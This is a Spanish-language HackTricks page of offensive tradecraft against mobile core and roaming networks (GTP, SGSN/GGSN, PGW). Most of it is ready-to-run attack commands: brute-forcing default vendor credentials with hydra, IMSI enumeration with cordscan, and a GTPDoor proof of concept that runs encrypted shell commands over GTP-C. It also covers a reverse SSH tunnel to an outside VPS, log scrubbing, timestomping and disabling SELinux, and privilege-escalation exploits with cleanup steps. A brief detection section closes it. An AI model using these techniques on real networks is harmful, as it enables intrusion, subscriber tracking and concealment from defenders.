Explotación de Redes de Telecomunicaciones (GTP / Entornos de Roaming)

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

note

Los protocolos de núcleo móvil (Protocolo de Túnel GPRS – GTP) a menudo atraviesan espinas dorsales de roaming GRX/IPX semi-confiables. Debido a que se transmiten por UDP sin casi ninguna autenticación, cualquier punto de apoyo dentro de un perímetro de telecomunicaciones puede generalmente alcanzar directamente los planos de señalización central. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW y otros nodos EPC.

1. Reconocimiento y Acceso Inicial

1.1 Cuentas OSS / NE por Defecto

Un conjunto sorprendentemente grande de elementos de red de proveedores se envía con usuarios SSH/Telnet codificados como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una lista de palabras dedicada aumenta drásticamente el éxito del ataque de fuerza bruta:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si el dispositivo expone solo un VRF de gestión, pivotea a través de un host de salto primero (ver sección «SGSN Emu Tunnel» a continuación).

1.2 Descubrimiento de Hosts dentro de GRX/IPX

La mayoría de los operadores de GRX aún permiten ICMP echo a través de la red troncal. Combina masscan con las sondas UDP gtpv1 integradas para mapear rápidamente los oyentes de GTP-C:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerando Suscriptores – cordscan

La siguiente herramienta de Go crea paquetes de GTP-C Create PDP Context Request y registra las respuestas. Cada respuesta revela el actual SGSN / MME que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Banderas clave:

  • --imsi IMSI del suscriptor objetivo
  • --oper Hogar / HNI (MCC+MNC)
  • -w Escribir paquetes en bruto a pcap

Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Ejecución de Código sobre GTP – GTPDoor

GTPDoor es un pequeño servicio ELF que vincula UDP 2123 y analiza cada paquete GTP-C entrante. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta a través de /bin/sh -c. La stdout/stderr se exfiltran dentro de los mensajes de Echo Response para que nunca se cree una sesión externa.

Paquete PoC mínimo (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detección:

  • cualquier host que envíe Solicitudes de Eco desbalanceadas a las IPs de SGSN
  • bandera de versión GTP configurada en 1 mientras el tipo de mensaje = 1 (Eco) – desviación de la especificación

4. Pivotando a través del núcleo

4.1 sgsnemu + SOCKS5

OsmoGGSN envía un emulador de SGSN capaz de establecer un contexto PDP hacia un GGSN/PGW real. Una vez negociado, Linux recibe una nueva interfaz tun0 accesible desde el par de roaming.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un correcto hair-pinning de firewall, este túnel elude VLANs solo de señalización y te lleva directamente al data plane.

4.2 Túnel SSH Inverso a través del Puerto 53

DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno a tu VPS escuchando en :53 y regresa más tarde desde casa:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verifica que GatewayPorts yes esté habilitado en el VPS.

5. Canales Encubiertos

CanalTransporteDecodificaciónNotas
ICMP – EchoBackdoorICMP Echo Req/Repclave de 4 bytes + fragmentos de 14 bytes (XOR)oyente pasivo puro, sin tráfico saliente
DNS – NoDepDNSUDP 53XOR (clave = funnyAndHappy) codificado en octetos de A-registroobserva el subdominio *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC en IE privadose mezcla con el tráfico legítimo de GTP-C

Todos los implantes implementan watchdogs que timestomp sus binarios y se reinician si se caen.

6. Hoja de Trucos de Evasión de Defensa

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalación de Privilegios en NE Legado

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Consejo de limpieza:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caja de Herramientas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – herramientas personalizadas descritas en secciones anteriores.
  • FScan : barridos TCP de intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS WPAD malicioso
  • Microsocks + ProxyChains : pivoteo ligero SOCKS5
  • FRP (≥0.37) : travesía NAT / puenteo de activos

Ideas de Detección

  1. Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Solicitudes de Crear Contexto PDP.
  2. Puertos no estándar (53, 80, 443) recibiendo apretones de manos SSH desde IPs internas.
  3. Solicitudes de Eco frecuentes sin Respuestas de Eco correspondientes – podría indicar balizas de GTPDoor.
  4. Alta tasa de tráfico de respuesta de eco ICMP con campos de identificador/secuencia grandes y no cero.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks